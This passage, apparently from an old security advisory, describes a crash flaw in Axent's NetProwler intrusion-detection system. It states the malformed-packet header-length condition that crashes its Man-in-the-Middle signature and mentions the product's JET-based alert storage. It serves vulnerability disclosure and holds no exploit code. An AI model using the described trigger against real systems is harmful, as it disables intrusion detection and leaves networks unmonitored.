It will crash if the Man-in-the-Middle signature encounters a packet for which the following expression is true: (IP_HEADER_LENGTH + TCP_HEADER_LENGTH) > IP_TOTAL_LENGTH According to Axent Security team, this is not a fragmented packet issue as reported in RFP2K05 By Rain Forest Puppy. In addition, NetProwler utilizes Microsoft JET engine 3.5 for storing incoming alert information.
